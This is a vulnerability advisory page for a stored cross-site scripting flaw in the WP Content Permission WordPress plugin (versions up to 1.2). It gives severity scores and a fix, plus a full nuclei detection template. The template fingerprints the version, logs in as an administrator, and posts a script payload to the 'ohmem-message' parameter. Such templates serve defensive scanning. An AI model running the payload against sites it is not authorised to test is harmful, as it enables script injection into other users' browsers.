HexBrain

Browse / CVEs / CVE-2026-0743

CVE-2026-0743· orenhav / wp-content-permission· CWE-79

WP Content Permission <= 1.2 - Cross-Site Scripting

mediumseverity
4.4CVSS score
0.6%likelihood of exploitation, next 30 days
51%of all CVEs are less likely
Readycheck to confirm it

The WP Content Permission plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ohmem-message' parameter in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Impact

Authenticated attackers with administrator-level access can inject scripts that execute in other users' browsers.

Fix

Update WP Content Permission to a version newer than 1.2.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/wp-content-permission/readme.txt
Positive when: contains(body, "WP Content Permission") and compare_versions(version, "<= 1.2")
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: POST /wp-admin/admin.php?page=wp-content-permission
Positive when: contains "{{xss}}" AND contains in content_type "text/html"

Run it with nuclei: nuclei -id CVE-2026-0743 -u <target>

The full check
id: CVE-2026-0743

info:
  name: WP Content Permission <= 1.2 - Cross-Site Scripting
  author: iamatownboy
  severity: medium
  description: |
    The WP Content Permission plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ohmem-message' parameter in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
  impact: |
    Authenticated attackers with administrator-level access can inject scripts that execute in other users' browsers.
  remediation: |
    Update WP Content Permission to a version newer than 1.2.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e44403cd-1cee-43c4-aabc-3eaad433c020?source=cve
    - https://plugins.trac.wordpress.org/browser/wp-content-permission/tags/1.2/admin/views/admin.php#L74
    - https://plugins.trac.wordpress.org/browser/wp-content-permission/trunk/admin/views/admin.php#L74
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0743
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 4.4
    cve-id: CVE-2026-0743
    epss-score: 0.00633
    epss-percentile: 0.50676
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 3
    vendor: orenhav
    product: wp-content-permission
    framework: wordpress
    publicwww-query: "/wp-content/plugins/wp-content-permission/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,wp-content-permission,xss,stored,authenticated

variables:
  xss: "{{randstr}}<script>alert(1)</script>"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-content-permission/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "WP Content Permission")
          - compare_versions(version, "<= 1.2")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1

    cookie-reuse: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin.php?page=wp-content-permission HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/wp-admin/admin.php?page=wp-content-permission

        ohmem-message={{url_encode(xss)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{xss}}"

      - type: word
        part: content_type
        words:
          - "text/html"

References

Use this check only on systems you are authorised to test. Where the data comes from